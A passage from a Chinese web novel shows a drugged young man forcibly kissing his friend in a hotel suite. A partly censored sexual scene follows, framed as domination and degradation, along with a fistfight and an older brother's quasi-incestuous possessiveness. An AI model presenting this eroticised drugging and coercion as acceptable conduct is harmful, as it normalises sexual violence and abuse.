然而浴室方向传来脱衣的簌簌声响让他腰腹肌肉再度绷紧,喉结随着浴室渐响的水声上下滚动。此刻太阳穴突突直跳,喉间烧灼感蔓延到胸口。 这件套房看上去不像什么正经套房,浴室是独立的截出一个空间,整个玻璃是水雾磨砂质感,隐隐约约似乎能看到里面透出来的模糊光影。 当磨砂玻璃映出模糊身影时,周闻铮的咬肌因过度用力而发酸。周闻铮盯着映出的晃动人影,那道凹陷的腰线随着抬手动作忽深忽浅,眼睛顺着脊椎弧度滑落的轨迹最终停在一出明显凸起的曲线上。 周闻铮被什么击中一样立刻从沙发上弹了起来,他死死盯着茶几上凝结着水珠的冰桶,舌尖反复舔过齿列试图压下躁动。脑子像是被人放进微波炉里加热一样,他觉得自己快爆炸了,恨不得冲进去和朗月现一起洗个冷水澡。 ……和朗月现一起洗澡…… 这个念头滑过的瞬间,鼻血就从鼻腔中突然涌了出来,周闻铮慌忙摸过茶几上放的冰桶,后槽牙狠狠咬碎了冰块的刺痛让他短暂清醒。 周闻铮浑身发抖地发现,自己正用膝盖反复磨蹭沙发真皮表面。鼻腔涌出的鲜血滴在冰桶边缘,他觉得自己脑中越来越昏沉,但身体却越来越亢奋,尤其是某个部位。 下腹像是被烧了一把火,在这个和朗月现独处的空间内,像是被打开了某种开关,让体内压抑了许久的感情变成野兽般的欲望形式爆发出来。 周闻铮的后背衬衫已被冷汗浸透,他隐约觉得事情不对,自己的状态太奇怪了。仅存的理智不断叫嚣着,必须快些离开,赶快走,再不走真的要失控了。 血管突突跳动的频率与渐疏的水流声同步,他努力缓了缓心神,硬撑着起身就要往外走,这时浴室门突然打开了。 沐浴露的花香混着氤氲水汽漫过来,朗月现擦着头发走出来,浴袍带子松垮系着,发稍滴落的水珠在锁骨凹陷处积成小小的水洼,那锁骨上挂着的水珠又顺着身体露出的美妙弧线继续向下,顺滑地钻进被浴袍遮住看不见的深处。 房间一瞬间安静得诡异,周闻铮甚至能清楚的听见,有什么东西在他的脑中崩断的声音。 第三十九章 老实一点,蠢狗 朗秉白指节有节奏的一下下敲在实木桌上, 他安静地听着手下的汇报,直到那边没了声音,朗秉白屈起的指节悬停在半空中, 他缓缓开口:“所以那个药是抗抑郁的抑制剂?” 侍者汇报的声音通过电流声清晰传来:“是的,朗总, 我们仔细查验了多遍,确定了那杯酒中的成分并不含任何刺激或者致幻性的特殊药物,只是含有镇定作用的奥氮平片的粉末,剂量上也没有什么问题,不会产生过量服用的副作用。” “但是据抓住他的工作人员说,当时陈少爷声称这是醒酒药, 并且没有任何抵抗情绪的将药交给我们化验。” 按理说像这种素来跋扈,眼里容不得一点沙子的富二代在面对一名普通侍者的直接质疑, 怎么也不会乖乖就范。就好像他已经料到会有这种事发生一样,像是精心排演过无数次的剧本,早已做好应对措施,全程配合得反常。 虽然事不关朗月现, 但朗秉白完全能理解手下的人打这通电话的目的,就连他也觉得看似并不是什么大事,但是又有种说不上来的怪异。 朗秉白望着窗外夜空中明亮的繁星,今晚真是个难得的好天气,但他的后颈却莫名泛起针刺般的寒意。 朗秉白沉思片刻,端起早已凉透的咖啡一饮而尽,一边起身一边向手下吩咐:“先不要妄动,以防万一,先确认好小月的位置,我稍后就到。” —— 朗月现赤脚踏过长绒地毯, 雪白的足弓在绒面上压出转瞬即逝的凹陷,浴袍腰带松垮地堆在髋骨,他擦拭头发的动作忽然顿住。 周闻铮僵立在玄关的身影挡住半边壁灯暖光,他像被定住了一样,眼睛死死盯着朗月现,骨节粗壮的双手垂在身侧攥得微微发颤,眸色赤红,神情复杂。 周闻铮不是第一次看见朗月现洗浴时的模样,偶然的一次,他提前结束加训回了宿舍,浴室的门没有关好,半掩的门内水雾缭绕,里面传来了淋浴的水流声。 周闻铮一向不喜欢宿舍的淋浴设施,太小,还只有一个出水口,总觉得委屈了朗月现。周闻铮没有特意去看浴室里是谁,只是路过时,余光被过于白皙的肤色吸引住了,他鬼使神差的往里看了一眼。 少年背对着浴室门口,光裸的脊背上潋滟的水光缓缓淌下,珍珠般的水珠顺着蝴蝶骨滚落,沿着少年结实细腻的肌理一路向下,汇聚到了后腰的凹陷处,又从那里滑进更隐秘旖旎的地方。 那天他落荒而逃时撞翻的金属衣架,至今还会在梦中发出刺耳声响。 周闻铮几乎是夺门而逃,接下来整整两天没敢和朗月现对视一眼。 只不过那段时间朗月现的随身衣物消失的特别多,朗月现换的很勤,丢了也就丢了,他也不甚在意。倒是把程澈急得差点要报警,周闻铮得知后嘲笑他是贼喊捉贼,最终是在朗月现直接一脚一个请出宿舍,非暴力不合作的有效方法下,这件事才算告一段落。 而现在站在他面前的朗月现比记忆中更具摧毁性,浑身还湿漉漉的,周闻铮不可避免得闻到他身上的水汽。朗月现的下睫毛很长,几乎要与上睫毛持平,被水汽沾湿的睫毛又长又直一簇簇翘在眼睛上,掀起那尾羽一般的眼帘,还带着水雾的眼珠湿漉漉地自上而下的看着他。 周闻铮脑子里轰的一声。 周闻铮觉得自己体内过量的酒精在血管里烧出汹涌密集的气泡,在身体里一片片炸开,再泛起一阵细密的热意。 他隐忍着,手指在自己的……内侧掐住一道道痕迹,但还是能感到一阵强过一阵无处发泄的……在他四肢百骸中横冲直撞。 “月月……别这么看我。”周闻铮声音哑的一塌糊涂,他简直快被朗月现折腾死了。 周闻铮盯着朗月现后颈被水浸湿的发梢,喉结不受控地滑动,身上逐渐沁出的汗珠。这个角度能看清对方……的浴袍领口雪白……的肌肤,他知道那层薄薄的布料后面还藏有更好的……,周闻铮突然升腾起类似于饥饿口渴的感觉,某种危险的痒意正顺着尾椎往上攀。 朗月现洗了个澡之后感觉头脑清醒了不少,从浴室出来就看到周闻铮做贼似的杵在门口,朗月现擦头发的动作顿住,不解的蹙着眉看着站在那一动不动,表情怪异,面色还涨的通红的周闻铮。 他准备先好好休息一番,颇有几分不耐的将浴巾甩在周闻铮的脸上:“要犯病滚回自己房间去。” 扑面而来的是朗月现身上那股玫瑰混合着浴室中橙花沐浴露的味道,还带着潮湿的水汽,这一下简直是把周闻铮苦苦支撑的理智直接连根拔起,烧了个寸草不留。 周闻铮的呼吸完全乱了,他什么也顾不得了,只想吃饱喝足。 朗月现还没来得及转身的瞬间,周闻铮猛地扑了过来,速度快的像是只饿了三天的狼看到猎物一样,朗月现完全没反应过来,只觉得扑过来的整个人都是烫的,被握着的手腕甚至有被灼伤的烧灼感。 周闻铮突然暴起把他狠狠扑到了墙壁上,犹如野兽般的低沉喘息在耳边响起,紧接着周闻铮的唇就压了下来,朗月现瞪大了眼睛,迅速扬起了头,那滚烫的气息便顺势打在了他的脖颈上。 “周闻铮!”朗月现两只手腕都被周闻铮紧紧禁锢住,他屈膝顶他胃部,狠狠将人蹬开了些距离。可这迷了心智一样的家伙伸长了脖子还要去亲他,朗月现借着腿上的力气把周闻铮踢开,用力挣脱出一只手,一把扯住了他的头发,逼他仰起头看向自己。 “你他妈疯了?” 周闻铮舔了舔/湿/润的嘴唇,血液在耳膜里轰鸣,周闻铮感觉西裤布料突然变得粗糙磨/人。朗月现挣扎时蹭过他腿边的触感,像擦过皮肤的砂纸突然燃起熊熊烈火。他不得不弓/起/后背,试图遮掩些什么。 “宝宝……” 周闻铮声音沙哑着叫他,朗月现看见对方眼睛通红,神色迷离,显然已经动情了。 “宝宝好美。” 周闻铮倾尽全力依旧无法抵抗,被朗月现迷得神魂颠倒,他愣愣的盯着朗月现的脸,不顾头皮快要被扯破的剧烈痛感,甚至还在探着身子愈加痴迷的凑上去想亲他。 耳光声猛然炸响,朗月现用尽全力打出的巴掌几乎把周闻铮扇懵了。他一时间什么也看不清,耳鸣的厉害,两人之间的撕扯终于有了一丝喘息的时机,周闻铮站在原地被打的偏过头,朗月现冷着一张脸看着他,似乎是气极了。 被打的偏过头的男人却低笑起来,他用舌尖顶了顶口腔的破裂处,用手背抹去嘴角的血水,脸上还带着肿胀发烫的红痕,手中的动作却柔和的不像刚刚做出毫无理智疯狂举动的人。 周闻铮将朗月现抽红了的手指放在唇边轻轻吻住,在朗月现发火抽手之际,他攥住他的手腕按向自己喉结:“再来。” 修长白皙的手指狠狠勒住喉结,窒息感反而让血液更疯狂地涌向……。周闻铮的视线不受控地扫过朗月现随呼吸起伏的胸膛,那本就大敞的浴袍领口摇摇欲坠。 周闻铮甚至能看清露出的一小片泛红的皮肤中隐隐戳戳,粉/嫩扎眼的……。后牙槽咬合的力度几乎要磨碎臼齿,他用尽最后理智才没让手指抚上那道红痕。 “你被下药了。”不是疑问句。朗月现后知后觉地察觉出了异常。周闻铮的状态很不对劲,他凝视着对方因药物作用而泛着不正常潮红的脸,忽然意识到自己犯的错误。 他光顾着自己不要中了世界意志的控制,却没料到世界意志直接对周闻铮下手了,让本该由他亲手下给周闻铮的药不知道用了什么方式,已经被世界意志提前做好了局。 周闻铮脖颈下贲张的血管在朗月现手指下狰狞起伏,他听见了朗月现的话,露出的那种眼神却不是恍然大悟的清醒过来,而是潮湿的,暴烈的,困兽般的。 周闻铮的眼神像只可怜的流浪狗,委屈又迷惘,他不知道为什么到了这个程度,朗月现还不能直视自己对他的感情。 他以为自己现在的模样,只是因为中了药吗? 周闻铮突然艰难的在朗月现的掌控下摇了摇头,他的呼吸扫过朗月现的手腕,尾音卡在喉咙里还是在努力的说,声音坚定又执拗:“不是……是因为你,只是因为是你。” 朗月现还没理解他的意思,周闻铮却觉得光说还不够,他突然在朗月现面前跪了下来,虔诚又狂热地攀附上朗月现的……,把朗月现的浴袍……掀开,在他洁白的……上留下带着……的指痕,将脑袋探了……进去。 朗月现只觉得这么短的时间内,让他反应不过来的事情实在是太多了。 他修长的腿肌骤然绷紧,刚伸出手揪住周闻铮的头发,想将这个大胆至极的混账扯出来时,那难以抵抗的……便顺着血液在身体里奔涌,很快那令人发疯的痒意从各处肌肤疯狂蔓延,消磨着他今晚因为醉酒本就薄弱的意志。 朗月现放在周闻铮头上的手也停止了扯动,变成了按在他后颈的……上,朗月现难以抑制的触电般的轻/颤,后扬起脖颈艰难的吞咽下破碎的气音。 到后面甚至有些失控的下意识小幅度……着,按着他后颈的手微微用力,精瘦白皙的……也汗津津的贴上去……。 周闻铮人凶的难以接近,舌头倒是柔软灵/活的出奇。 周闻铮探出脑袋时,朗月现那张被彻底满足后的微微泛着潮红欲色的艳丽容颜,宝石一样明亮的眼睛里泌着泪花,扑闪的长睫毛下闪着动情的莹莹的光,简直美到给人一种震撼感,周闻铮头皮发麻,被狠狠的冲击到了。 他已经完全被朗月现迷住了,喉咙间咕咚吞/咽而下,仰着脸无意识的舔唇,跪在地上汗湿的掌心贴着滑/腻紧实的……,眼神迷离地直勾勾盯着朗月现的容颜喃喃道:“月月……宝宝,求你了……” 男人手指带着常年运动长出的薄薄的茧,动作虽轻,粗糙的茧从……上划过时仍给朗月现带来不少……。 在这种事上,理智永远会被肾上腺素完全击溃,爽/了就是爽/了,朗月现也不会因为对方是个男人就不认账,他可以肯定自己并不喜欢男人,但是朗月现长这么大从来都是顺心而为,无所顾忌。 他微微垂下眼,居高临下地看着跪在地上,脸上还带着鲜红扎眼的掌印,嘴角还沾着自己……的男人。 男人眼巴巴痴迷地看着他,再不复往日桀骜不驯的小霸王模样,像条饥肠辘辘的狼狗。朗月现施舍一般,慢慢伸出脚踩住了他最……的位置。 他漫不经心地撩起自己汗湿的头发,声音听不出喜怒。 “老实一点,蠢狗。” 第四十章 抖什么?哥哥 【净化版】 周闻铮结实的手臂肌肉隆起, 力气极大,单手便稳稳托住朗月现腰身。 他将朗月现轻轻放在床沿,自己则跪在他面前, 膝盖重重砸在地板上,呼吸急促的喘/息着, 身体随着他的呼吸频率而起伏。他抬起眼睛看着朗月现,目光中带着满满的侵略感和浓厚的爱意。 周闻铮盯着对方露出的锁骨上未消的牙印,那是他刚刚意乱情迷之时趁乱咬上去的。回想起那感觉,周闻铮又开始躁动不安起来,他不老实地抓住朗月现的脚踝,汗湿的掌心贴着凸起的踝骨暧昧的滑动。 却在即将触到腿弯时, 朗月现抬起脚,狠狠将他一脚踹了出去。 脚底发力正中胸口, 周闻铮后脑磕在地毯上发出一声闷响。朗月现居高临下地看着挣扎着起身的周闻铮,从头到尾将他扫了一遍,交叠起双腿,带着轻蔑的语气似笑非笑道:“你那是什么眼神。” 那种几乎要将面前的人拆穿入腹的露骨眼神让朗月现感到非常不爽。 周闻铮的脸帅的很醒目, 刀割一般的锋利,从山根到下颚,每一次都像雕刻师精准下刀的完美雕塑。即使不是有权有势的家族出身,光那副透着股凌厉的狠劲儿模样,也很少会有人敢招惹他。 那锋利的眼神此刻像一只野狼,带着张扬的野性,再也没有刚刚可怜巴巴凑上来索吻时候的丧家犬一样无助卑微的神色。 周闻铮浑身散发的极强的侵略感让他升起一股得把狗彻底驯服的想法。周闻铮被踹的后脑着地,本来就因为药性不甚清明的脑子更是晕晕乎乎,他闷/哼着坐起身,难得有些慌乱, 不知所措的愣在原地,因为对方突如其来的怒火也不敢再抬眼直视朗月现了。 朗月现带着他惯常的命令语气,缓缓且清晰道:“收好你的眼神,然后,爬过来。” 尾音突然卡在喉咙里。周闻铮像只被驯兽师抽过鞭子的狼狗,猛地扑过来抱住他的小腿。汗湿的脸颊蹭过敏感的肌肤,烫得朗月现后背窜起鸡皮疙瘩。 “再碰一下,像刚才那样……”周闻铮的头发被汗水浸透,声音带着被情*碾碎的沙哑,求饶似的开口:“再*上去好吗,求你……” 朗月现这时才满意了,顺势用脚尖挑起他的下巴。 朗月现高傲自大,极度自我,原书不可一世的主角攻在他面前像条乖顺的狗,这种强大的征服欲令他十分愉悦,甚至超过了生/理上能获得的体验。 他觉得周闻铮现在是他的东西了,他可怜又卑贱的跪在他身下,放弃了所有的自尊矫饰,沦为他脚下乖顺渴/求的狼犬。所以他接受了如今坦白的呈现在他面前的卑劣和下/流。 于是大发慈悲的又将光/裸的脚狠狠*上去,温度高到隔着几层布料依旧烫到朗月现脚心发痒,他有些不舒服的皱了皱眉,正要抽离,周闻铮却紧紧握住了他的脚踝,喉间发出困兽般的呜咽,像是抓住能救他命的宝物一般,浑身不可抑制的发/颤。 周闻铮弓着脊背发出闷哼,他胡乱扯开被汗浸透的衬衫,跪着往前蹭了几步让朗月现更好施力,朗月现却坏心* 眼的将脚往上挪了几分,正踩在他观感非常好,块垒分明的**上。 周闻铮滚烫的呼吸尽在咫尺,他由着朗月现戏耍一般的折腾他,始终得不到确切的纾/解,自己忍得额上都浮现青筋。 “月月……”周闻铮的沙哑的尾音打着颤,他挺起身子,结实高大的男人已经失/控到微微颤抖了,他往猛地前倾,将滚烫额头抵在对方腰间,朗月现被热气烫的后缩,反被铁箍般的手臂圈住腰身。 朗月现挣了两下,肌肉虬结的手臂此时用了些力气更显*/壮,蜜色手臂肌肉贲张纹丝不动,一身使不完的牛/劲,朗月现烦死了。 朗月现泄/愤般加重**下力度,直往*压,周闻铮浑身*电般**栗,身体*控地松动了半分,周闻铮咬住口/腔**直到尝到血腥味。 朗月现*狠地动作让他的*迫感越来越重,疼痛与奇妙/体验交织着在**炸开。 朗月现看着周闻铮被*得浑/身**,并无任何怜惜之意,*上持续*力。 周闻铮努力迎/合着,精壮的蜂腰浮动着水波般的弧/度,流畅漂亮的腰/腹肌肉裹着一层晶亮的汗水,小臂暴起的粗壮青筋在皮肤下蜿蜒如同躁动的蛇。 当朗月现的脚继续施压时,周闻铮迷离的仰起头,涣散瞳孔撞上对方戏谑的目光。他听到了自己压抑不住的声音,后知后觉的感受到了羞愧。 被那双漂亮又明亮的眼睛轻蔑的扫过全身,仿佛被自己所有污/秽不堪的念头都在那目光下无所遁形。 被汗浸湿的衬衫黏在后背,意识也被那双眼睛完全勾去,周闻铮恍惚间察觉到自己正在用过分不堪的味道去沾染心中从幼年时期就开始爱慕奢求,放在心尖尖上的宝贝。 我要弄脏他的脚了…… 这个认知让周闻铮感受到一股强烈的酥/麻从尾椎骨向四肢百骸蔓延,他的指尖因为过度兴/奋而微微痉挛。 朗月现垂眼欣赏着周闻铮濒临崩溃的神态,眼见对方呼吸愈发急促,朗月现忽然放轻了动作,失去了痛感的刺激后,纯粹的奇妙感觉让周闻铮理智崩溃,他失了智一般,嘴巴微微张开,呼吸全然乱了。 就在周闻铮已然慢慢习惯了那只已经被他用掌心的热意烫的发红的脚背,动作轻缓灵活地移动时,然而朗月现突然朝周闻铮勾起嘴角,露出一个恶劣的笑。 下一秒,脚底重重踩下,将他所有烈火般灼烧着的战/栗与卑微的渴/求瞬间践踏得支离破碎,直接让他在主人的脚下猛然失/控。 就在这时,房门开启的感应蜂鸣声与纷乱的脚步声同时炸响的瞬间,周闻铮浑身痉挛,情绪终于决堤。 朗月现居高临下在自己脚边颤抖的男人,唇角带笑。 “真是下/贱的小狗。” 朗月现漫不经心踩住周闻铮还在痉挛的身体,这才慢悠悠转头看向门外骤然闯入的几个人,挑眉轻笑道。 “滚出去。” —— 半个小时前。 云蔚顶层的贵宾室内,朗秉白交叠着双腿靠坐在沙发上。三米开外,面前是一排战战兢兢,如临大敌的站在他面前的工作人员,云蔚酒店高管们垂首凝息,西装布料摩擦的细响都显得小心翼翼。 “所以,”朗秉白忽然轻笑两声,面上看不出喜怒。二十年商海浮沉淬炼出的威压随着他倾身的动作漫开,那低沉的声音中带着森然寒意和毫不掩饰的压迫感,着实让在场众人心中都狠狠一惊。 “什么叫,人没找到?” 侍者领班硬着头皮上前半步,他在朗秉白手底下工作多年,是非常了解朗秉白的作风的,也明白朗月现对他来说意味着什么。 余光瞥见老板修长手指正在轻扣沙发扶手,每一声都像敲在脊椎骨上。此刻他说话的声音都紧张的发着颤:“朗总,情况是这样的,接到您的指示后我们立刻核查了二少今日的入住记录,但系统里…系统里没有任何登记信息,二少的房间号并没有被录入。” 他的额角渗出细密汗珠,“调取监控时发现二层和三层所有摄像头全部失效,只在二层酒吧出口拍到二少往电梯间走的画面。” “目前联系不上二少,正在逐层排查套房。”他补充这句话时声音陡然低了下去。 朗秉白指节无意识扣着沙发扶手,两个小时前手下汇报陈氏小公子异常动向时,分明说过与朗月现无关,可胸腔里翻涌的不安却愈发强烈,这让他临时取消了接下来的视频会议直奔云蔚酒店,准备亲眼看看弟弟。 却在到达时听闻侍者声称跟丢了人,好巧不巧,酒店二层和三层监控竟然全部故障,而朗月现的手机一直处于无人接听状态。 这一桩桩的巧合摆在面前,朗秉白再觉察不到不对劲,那才真成了笑话了。 听到手下说已经带着人挨个房间去找了,朗秉白稍稍安心,这才把目光又对准了其他人。 朗秉白的声音很沉稳,不疾不徐,天生带着一种让人安心的魔力,而此刻当这个声音落在自己头上,云蔚酒店老总的冷汗刷的一下就下来了。 这位以沉稳绅士闻名的商业巨擘,此刻眼底正结着无比冰冷的寒霜。 “陈臻也呢?把他带过来。” 朗秉白怀疑到陈臻也头上也无可厚非,毕竟他就是因为陈家少爷的奇怪举动特地赶过来的。更何况陈氏集团作为国内高奢酒店的龙头,持有云蔚酒店20%的股份,董事会股东家的金主少爷要在自家地盘搞小动作,如同持有万能房卡搬轻而易举。 但这次确实冤枉了陈臻也,监控和登记还真不是他搞的鬼。自从他精神上出了问题之后,很多事就不是他能掌控得了。 他今晚虽然对朗月现有所企图,但颇有那么几分破罐子破摔的意思,就连借口中所谓的解酒药他都没准备,直接向侍者递上了他平日里吃的抑制剂。 陈臻也根本不怕东窗事发,他也不想遮掩,打一开始有了这个计划之后就没想着瞒过去,根本不可能瞒得住,朗月现那个护他护得跟眼珠子一样的哥哥怎么可能放过他。 这疯子根本不想遮掩,他就是故意要昭告天下他对朗月现的妄念。 “陈少爷到了。”随着侍者通报,陈臻也踉跄着被人扶进来,西装前襟还沾着酒渍,被酒精灌醉的涣散瞳孔还燃着扭曲的亢奋,此人这种状态已经没有问话的必要了。朗秉白眯起眼,他突然看见一个令他有些意外的人出现在面前。 与醉醺醺的陈臻也形成鲜明对比的,是随后步入的盛衍。男人换了件挺括的浅灰衬衫,连袖口都严谨地扣到第二颗。 这位向来进退有度,衣冠楚楚的高材生进门之后看到朗秉白,熟人见面连句招呼都不打,上来就是急促的一句:“我知道小月在哪个房间。” 他怎么会知道的? 盛衍自己都说不清他是怎么知道的,他一听到侍者说朗月现不见了,还没来得及着急,脑海中就突然出现了他所需要的所有信息。 就好像一个莫名的念头,挥之不去的浮现出一个非常明确的房间号,而且他能笃定地确认,就是这个房间。 盛衍搞不明白这是怎么回事,只能以为是和朗月现刚刚的交谈中,朗月现可能已经告诉过他了,而他下意识就牢牢记住了。 其实如果这时候系统在这,它就能准确的同朗月现解释清楚,这一切都是世界意志在背后搞的鬼。 朗秉白的突然出现打破了原书剧情本来的流程,所以监控必须坏掉,录入信息也要马上抹除。而真正需要得知准确信息的主角受只能通过世界意志脑内传输才能即刻获取。 从监控,到房间号,再到盛衍脑海中莫名浮现的准确信息,都是世界意志为了按照原书中盛衍闯入朗月现房间打断他和周闻铮所发生的相关剧情走向而做出的一系列操控。 朗秉白的目光在盛衍脸上逡巡,他认出盛衍是那个同朗月现有过亲密接触的学长。朗秉白向后靠进沙发深处,嘴角噙着一抹让人看不分明的笑意。 安保组此刻正在挨个房间排查,自己的人找到朗月现只是时间问题,根本轮不到外人来献殷勤。 倒是在全酒店都没有朗月现入住信息的情况下,这个明摆着觊觎自己弟弟的货色是怎么知道这件事的? 气氛凝滞了一瞬,在朗秉白没有出声之前,谁也不敢多嘴。 直到盛衍声音肃然而冷冽的说出下一句让朗秉白瞳孔紧缩的话:“周闻铮也在里面。” * 走廊中,两个“滚出去”的人僵硬的站在外面,几米之外是按照朗秉白指令候在外面,面面相觑的几位酒店工作人员。 门锁咔嗒合拢的瞬间,朗秉白后颈暴起一片鸡皮疙瘩,整个人像被抽了脊椎骨似的往下沉,耳膜被剧烈的心跳声震得发胀。 走廊壁灯在头顶滋滋作响,朗秉白漫无目的地垂着头盯着地上倒映的扭曲人影,只觉得眼前地毯上的菱形花纹突然扭曲成密密麻麻的蛆虫,令他胃部一阵剧烈扭痛,忍不住想要干呕出声。 盛衍的右手在西装裤侧缝神经质地抽搐,喉结上下滚动好几次才挤出半声喘息,他后颈汗毛倒竖,像是有人顺着脊椎倒冰水。 他觉得耳边一直有声音扎进脑子里,耳后动脉突突跳动的节奏和刚刚听见的屋里暧昧的响动完全重合。 时间好像在此刻凝固了一般,两人死死盯着那扇门,等待它什么时候会打开,再毫不留情地将悬在头上的重剑狠狠落下。 “三分钟。”盛衍突然开口,腕表秒针爬过表盘的声音在他听来像在锯骨头。往日那么优雅贵气的男人此刻脸上的表情扭曲的如同恶鬼一般,“从我们出来到现在,三分钟。” 穿什么衣服需要这么久?盛衍后槽牙咬得发酸,太阳穴血管一跳一跳地胀痛,迈开步子就要上前砸门。 门锁转动声响起时,那股暧昧的味道混着玫瑰香气先溢了出来。周闻铮扶着门框踉跄半步,敞开的领口下还留着鲜红的指痕。 盛衍只觉得此时此刻能感受到的一切都是朗月现留给他的一场盛大的挑衅,周闻铮那张餍足的脸撞进视野的瞬间,他的拳头已经挥了出去。 “你他妈……”周闻铮撞翻屋内装饰架的声音惊动了所有人,盛衍第二拳带着风声再次挥出,周闻铮勉强偏头躲开,那一拳便重重砸在酒店装饰画上,玻璃画框哗啦碎了一地。 盛衍扯着周闻铮的领子往碎玻璃上按,脖颈青筋暴起:“你给他下了药是不是?说话!” 周闻铮暴/露在外的蜜色皮肤还在泛着不正常的潮红,他的手臂撑在碎玻璃里,药效未退的肌肉不受控地发抖,胳膊肘撑地时不住打滑。 “被下药的是我,混球。”他声音都是飘的,脸上却依然挂着得意又满足的笑意,他嘲讽般的啐出口中血沫:“是月月愿意帮我的,听不懂的话,老子可以给你录下来,你带回去随时听。” 盛衍的膝盖重重顶进对方胃部,指节砸在肉上的脆响和周闻铮的闷哼同时炸开。周闻铮现在的状态让他根本无力与盛衍抗衡,只能勉强抵挡几下,后面的随行人员看到朗秉白还像个石化的雕塑般站在原地未动,也都不敢上前拉架,任由那两个人毫无形象的在地上滚成一团。 廊灯将朗秉白的影子拉长成扭曲的剪影,他跨过满地玻璃碎渣,看都没看在地上扭打的两个人,直直绕过他们,走向屋内的朗月现。 朗月现正倚着沙发倒水,浴袍依旧松垮的系着,露出一片刺眼的瓷白肌肤,锁骨上和脖颈上还留着扎眼的齿痕,看到朗秉白走进来时,微微挑眉:“哥怎么来了?” 朗秉白一言不发,沉默的可怕。越走进房间内越能更清晰的感受到那股挥散不去颓靡暧昧的气息,像糜/烂的香甜禁/忌果实,露骨的彰显着这房间内发生了什么不言而喻的事情,朗秉白想欺骗自己都做不到。 他感觉有双无形的手在拧他的胃袋,酸水顺着食道烧上来,喉头火辣辣地发紧。掌心在沙发扶手上蹭出湿漉漉的印子,才发现自己后背衬衫已经被冷汗浸透。 他上前握住弟弟腕骨的动作近乎粗暴,却在触及肌肤时触电般放轻了力道。一句话都没说就往外走。朗月现也不挣扎,由着他哥将他拽走。 直到走到门口,有碎掉的玻璃碎片,朗月现站住不动了,朗秉白才发现弟弟竟是赤脚踩过满地狼藉。 朗秉白太阳穴猛地一跳,手抖得几乎抓不住人,少年皮肤传来的温度冰得他指尖发麻。 他被怒火冲昏了头脑,竟然没发觉弟弟是光着脚的。朗秉白脸色一瞬间变得煞白,喉咙里那句“为什么不说,想要哥哥死吗?”被剧烈涌上来的痛苦和悔恨堵在嗓子眼里。 他默默的转身,拿了酒店的拖鞋,单膝跪地时压碎的玻璃渣明显的通过西裤布料刺痛皮肤,握着少年冰凉的脚踝套鞋的手抖得像暴风中的芦苇。 穿好鞋后,朗秉白突然发力把朗月现拦腰抱起,少年还未干的额发垂在他的颈侧,烫的他脖颈发疼。 在路过扭打的两个人时,朗月现从哥哥肩侧探出头,下颌抵着哥哥肩头,饶有兴致的笑道:“哎,小心点,留口气啊。” 带笑的吐息吹在朗秉白耳后,他紧了紧双臂才没被激得脱手。话音刚落,朗秉白便加快了脚步,抱着弟弟离开了。徒留听到他的话,僵硬的跪在地上,突然一动不动的盛衍。 盛衍猛地转头看向远去的两个人,看到朗月现老老实实的待在高大的男人怀里,视线死死盯在朗月现垂落的双足上。那抹莹白刚刚还踩在周闻铮身上,此刻却在另一个男人的臂弯里晃荡。 眼前的场景在盛衍的视网膜上留下灼烧般的残影,闭上眼也挥之不去。他的左手无意识地揪住领口绞紧,脑中一片混乱,气到极致,视线甚至开始出现雪花点,布料勒得气管发出嘶鸣。 同样在大口喘气的是药效又上来的周闻铮,他的额角还被盛衍砸的正在流血,整个人狼狈不堪,缩在墙角边笑边骂:“妈的,老子都快死了,还不救人!” 周围那些工作人员这才如梦初醒,一窝蜂的围了上去。 套房的电子锁发出滴鸣,朗秉白刷开另一间套房的门,朗月现还在一脸无所察觉地捏他的纽扣玩,浴袍下摆随着步伐晃动,露出脚踝内侧淡红的指印。 朗月现径直走向房间浴室,垂眸盯着朗月现,突然把怀里人重重按在浴室大理石台面上。 “好玩吗?”朗秉白说出今晚见到弟弟之后的第一句话,声音哑得像砂纸磨过铁锈。 朗月现裹着白色的酒店浴袍,在浴室的白光下美得像是融化的雪神。 唯有那一双殷红的唇微微开启,还带着无所谓的玩味笑意,伸手摸上朗秉白撑在他身侧暴起青筋的手背:“抖什么,哥哥?” 40-50 第四十一章 看着那些鬣狗对着我的珍宝垂涎三尺 抖什么? 是愤怒, 是崩溃,是悔恨,是妒忌, 还是如同要溺毙般的绝望? 是这些年强压着的情绪终于要炸开,还是那些藏在内心深处的肮脏念头在身体中横冲直撞?朗秉白死死咬住后槽牙, 却止不住浑身神经性的战栗,像是有无数蚂蚁顺着脊椎骨往上爬。 朗月现坐在浴室的大理石台面上,浴袍下摆随着动作滑落,露出少年人白的晃眼的腿弯。他屈起的膝盖正深陷在朗秉白颤抖的腰腹间,将衬衫都顶出皱褶。 朗秉白双手撑在朗月现身侧,那是一个牢牢将朗月现禁锢住的姿势, 他的指节用力到泛着青白,像是要把台面按出个坑来, 把骨骼都嵌进能把弟弟困住的方寸之间。 可明明人就在臂弯之间,弟弟就在自己的怀中,朗秉白却还是觉得胸口空的发疼,胸膛中翻涌的空洞几乎要撕碎将其困住的肋骨。 朗秉白抬眼看过去, 弟弟纤长的睫毛近在咫尺,几乎要扫到他鼻尖。那睫毛真是长的离谱,在眼下投出蝶翼般的阴影,眨眼时晃的人心慌,与幼时攥着自己衣角的模样分毫不差。 小时候就是这样,无论是谁,看到小月第一眼的注意力绝对会被那双极长的睫毛吸引。像个洋娃娃,很容易被沾湿,哭起来水灵灵的,眼睛像玻璃樽里的琉璃。 每次做了什么错事, 委屈巴巴地仰头望过来,就这么拿他水汪汪的眼睛盯着你,一句话也不用说,所有原则都会在瞬间碎成齑粉,简直要被他看得心脏病发作。 朗秉白一直觉得,他弟弟长成这个样子,多亏生在钟鼎之家,不然不知道会因为这般过于出众的容貌给他自己惹来多少麻烦。 他仔仔细细地用目光描摹弟弟的眉眼,那双眼睛依旧与小时候别无二致的漂亮,眼尾却已经蔓开秾丽的艳色,身上还带着男人的齿痕,裹着染上了情欲的玫瑰香气。 朗秉白的心脏突然咚咚地狂跳了两下,这两下震得他耳朵都疼。 他惊觉,原来弟弟已经长大到可以彻底离开自己了。 这么些年来,他始终认定自己可以永远以哥哥的身份守在朗月现身边。只要朗月现需要,他连命都能豁出去,朗秉白将自己所有心血都浇灌在朗月现身上。 他以为自己对弟弟的爱早在日复一日,年复一年的守护中长成了血肉的一部分,是无条件的,不求回应的。 直到朗月现与别的男人衣衫不整的场面像一把利刃毫不留情的刺破了朗秉□□心维持的平静假象。 这些年他骗自己骗的多好啊。每每为弟弟整理衣服时指尖的战栗,那些刻意避开弟弟沐浴水声的焦躁,半夜给毫无所觉的弟弟盖被子蹭到脖颈就触电似的缩回来的手。 